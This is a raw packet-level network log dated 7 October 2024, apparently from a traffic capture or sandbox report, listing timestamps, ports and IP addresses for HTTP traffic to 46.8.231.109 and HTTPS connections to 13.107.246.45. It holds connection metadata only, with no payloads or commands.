Oct 7, 2024 18:43:18.509038925 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509057999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509064913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509088993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509100914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509541035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509558916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509577036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509582043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509594917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509594917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509614944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509620905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509634018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509641886 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509654999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509668112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509674072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509689093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509694099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509705067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509712934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509722948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509737015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.509756088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.510209084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510226965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510248899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510263920 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.510271072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510291100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510298967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.510309935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510330915 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.510339975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510343075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.510360003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510371923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510381937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510392904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510404110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510416031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510432959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.510525942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.510601997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511080980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511099100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511116982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511125088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511135101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511154890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511156082 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511173964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511183023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511193991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511208057 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511213064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511220932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511243105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511249065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511261940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511265993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511272907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511291981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511307001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511310101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511338949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511348009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511360884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511367083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511380911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511460066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511482000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511501074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511519909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511521101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511548996 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511560917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511615038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511635065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511652946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511656046 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511670113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511672020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511683941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511692047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511708975 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511733055 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511754990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511774063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511791945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511794090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511815071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511816025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511835098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511842012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511854887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511857033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511877060 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511882067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511894941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511919975 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511926889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511945963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511962891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511970043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.511981964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.511991024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512001991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512012005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512021065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512031078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512039900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512042046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512058973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512061119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512079000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512079954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512099981 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512099981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512120962 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512137890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512162924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512181997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512200117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512204885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512218952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512228012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512238979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512244940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512258053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512260914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512281895 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512300014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512304068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512324095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512343884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512350082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512367010 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512368917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512388945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512392044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512404919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512407064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512428045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512434959 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512451887 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512492895 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512495995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512515068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512532949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512537003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512550116 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512551069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512569904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512573004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512587070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512589931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512607098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512607098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512620926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512643099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512646914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512662888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512681007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512681007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512698889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512698889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512717009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512720108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.512737036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.512762070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.528311968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528331041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528350115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528366089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.528386116 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.528824091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528841019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528860092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528870106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.528877974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.528903961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.528928995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.530968904 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.530988932 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.531040907 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.531054974 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.531059980 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.531095982 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.531105995 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.531172991 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.531186104 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.531960964 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532113075 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532260895 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532298088 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532308102 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532314062 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532321930 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532331944 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532385111 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532396078 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532438993 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532597065 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532636881 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.532676935 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532984972 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.532984972 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.533004999 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.533013105 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.533718109 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.533727884 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.533776999 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.533782005 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.538918972 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.538943052 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.539141893 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.539870977 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.539904118 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.539964914 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.540657997 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.540746927 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.540821075 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.540827990 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.540844917 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.541089058 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.541130066 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.541543961 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.541558981 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.557102919 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.557180882 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.557344913 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.557344913 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.557344913 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.559257984 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.559286118 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.559354067 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.559480906 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.559509993 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.567226887 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.567274094 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.567313910 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.567502022 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.567502022 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.567507982 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.567514896 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.569825888 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.569853067 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.569912910 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.570023060 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.570035934 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.626652002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626676083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626699924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626714945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626715899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626730919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626737118 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626745939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626761913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626774073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626786947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626812935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626844883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626859903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626880884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626885891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626895905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626910925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626919985 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626919985 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626925945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626931906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626940966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626950979 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626955986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626970053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626971006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.626981020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.626998901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627010107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627028942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627043962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627057076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627069950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627070904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627083063 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627084970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627099991 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627104998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627108097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627118111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627130032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627134085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627149105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627154112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627162933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627177954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627178907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627192020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627194881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627211094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627217054 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627226114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627238989 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627242088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627257109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627262115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627271891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627280951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627286911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627309084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627310038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627331972 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627408981 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627490044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627496958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627506018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627513885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627532005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627532959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627548933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627549887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627566099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627576113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627599001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627608061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627629042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627644062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627657890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.627667904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.627672911 CEST	80	49699	46.8.231.109	192.168.2.7
